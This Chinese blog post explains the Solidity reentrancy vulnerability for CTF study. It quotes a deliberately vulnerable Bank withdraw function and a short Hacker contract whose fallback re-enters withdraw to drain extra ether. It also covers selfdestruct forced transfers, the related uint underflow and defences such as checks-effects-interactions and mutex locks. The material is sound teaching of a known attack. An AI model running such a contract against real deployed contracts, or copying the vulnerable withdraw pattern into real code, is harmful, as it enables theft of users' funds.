当前位置:   article > 正文

Solidity 重入攻击_msg sender call

msg sender call

前言

上一篇博客中的babybank就是重入攻击的一道题,做之前学习了一下重入攻击,现在再来总结一下。

漏洞介绍

任何从合约 A 到合约 B 的交互以及任何从合约 A 到合约 B 的 以太币Ether 的转移,都会将控制权交给合约 B。 这使得合约 B 能够在交互结束前回调 A 中的代码。

官方文档里讲的就比较难懂(对于我这样的小白来说),简单来说就是,就是因为:

向以太坊合约账户进行转账,发送Ether的时候,会执行合约账户对应合约代码的回调函数(fallback)。
在以太坊智能合约中,进行转账操作,一旦向被攻击者劫持的合约地址发起转账操作,迫使执行攻击合约的回调函数,回调函数中包含回调自身代码,将会导致代码执行“重新进入”合约。这种合约漏洞,被称为“重入漏洞”。

引用一下ctfwiki的一个银行取款的例子:

contract Bank {
    mapping(address => uint256) public balanceOf;
    ...
    function withdraw(uint256 amount) public {
        require(balanceOf[msg.sender] >= amount);
        msg.sender.call.value(amount)();
        balanceOf[msg.sender] -= amount;
    }
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9

首先要求账号的余额要大于等于需要取的钱。然后把这些代币转给调用者,然后银行的账本上把存储的钱减掉取的钱。

这里就出现了重入攻击。了解一下fallback函数:
在这里插入图片描述

官方文档的解释还是很难懂,而且这个fallback函数是新产生的,之前的是这样:

  • 三无函数。没有名字、没有参数、没有返回值。
  • 替补函数。如果请求的方法在合约中没有的话,就会执行Fallback函数。
  • 收币函数。通过钱包向一个合约转账时,会执行Fallback函数,这一点很有用。

类似这样定义:

    function() external payable{
        require(flag==false);
        flag=true;
        bank.withdraw(2);
    }
  • 1
  • 2
  • 3
  • 4
  • 5

因此,如果银行取款的那个例子中,msg.sender是一个智能合约的话,msg.sender.call.value(amount)调用call,会执行这个智能合约中的Fallback函数。这时候,如果这个智能合约是我们恶意构造的,它的fallback里又调用了这个withdraw方法的话,就相当于 ”重新进入“ 了 银行的那个合约中,因此叫”重入攻击“。

重新进入有什么危害呢?危害就在于,有些这样取款的代码,就如同这个例子中的那样:

        msg.sender.call.value(amount)();
        balanceOf[msg.sender] -= amount;
  • 1
  • 2

它是先取的款,然后再修改银行的合约中的那个记录了每个账号存了多少钱的状态变量balanceOf。
如果先call,然后进入恶意的fallback,fallback又调用了withdraw,这时候重新进入的withdraw里的balanceof[msg.sender]是还没有修改的,因此仍然可以再一次取款,成功盗取了更多的以太币。

构造的合约如下(摘录自ctfwiki):

contract Hacker {
    bool status = false;
    Bank b;

    constructor(address addr) public {
        b = Bank(addr);
    }

    function hack() public {
        b.withdraw(1 ether);
    }

    function() public payable {
        if (!status) {
            status = true;
            b.withdraw(1 ether);
        }
    }
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 目标合约使用 call 发送以太币时,默认提供所有剩余 gas;call 操作改为对提款者合约的调用亦可实现攻击;但如果使用 transfer 或者 send 来发送以太币,只有 2300 gas 供攻击合约使用,是不足以完成重入攻击的。
  • 执行重入攻击前,需要确认目标合约有足够的以太币来向我们多次转账。如果目标合约没有 payable 的 fallback函数,则需要新建一个合约,通过 selfdestruct 自毁强制转账。
  • 上述 fallback 实现中,先改写 status 后重入。如果反过来则还是会无限循环调用,这和重入漏洞的道理是一致的。

对于第一点:

//如果异常会转账失败,抛出异常(等价于requi(send()))(合约地址转账)
// 有gas限制,最大2300
<address payable>.transfer(uint256 amount)
 
//如果异常会转账失败,仅会返回false,不会终止执行(合约地址转账)
// 有gas限制,最大2300
<address payable>.send(uint256 amount) returns (bool)
 
如果异常会转账失败,仅会返回false,不会终止执行(调用合约的方法并转账)
// 没有gas限制
<address>.call(bytes memory) returns (bool, bytes memory)
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11

因此call没有gas的限制,因此可以实现重入攻击。

对于第二点,上一篇文章中强网杯那题也正好是利用了这一点,利用合约的自销毁来强制转账。

此外ctfwiki也提到了:

重入漏洞与整数下溢出漏洞关联密切。在上述攻击后,攻击合约的存款由 1 ether 变为 -1 ether。但注意到存款由 uint256 保存,负数实际上保存为一个极大的正数,后续攻击合约可以继续使用这个大数额的存款。

预防

官方文档是采用了”检查-生效-交互“的模式:

pragma solidity  >=0.6.0 <0.9.0;

contract Fund {
    /// 合约中 |ether| 分成的映射。
    mapping(address => uint) shares;
    /// 提取你的分成。
    function withdraw() public {
        var share = shares[msg.sender];
        shares[msg.sender] = 0;
        payable(msg.sender).transfer(share);
    }
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12

当然还有其他的方法。比如:

  • 在将 Ether 发送给外部合约时使用内置的 transfer() 函数 。transfer转账功能只发送 2300 gas 不足以使目的地址/合约调用另一份合约(即重入发送合约)。
  • 引入互斥锁。也就是说,要添加一个在代码执行过程中锁定合约的状态变量,阻止重入调用。
声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/不正经/article/detail/654099
推荐阅读
相关标签
  

闽ICP备14008679号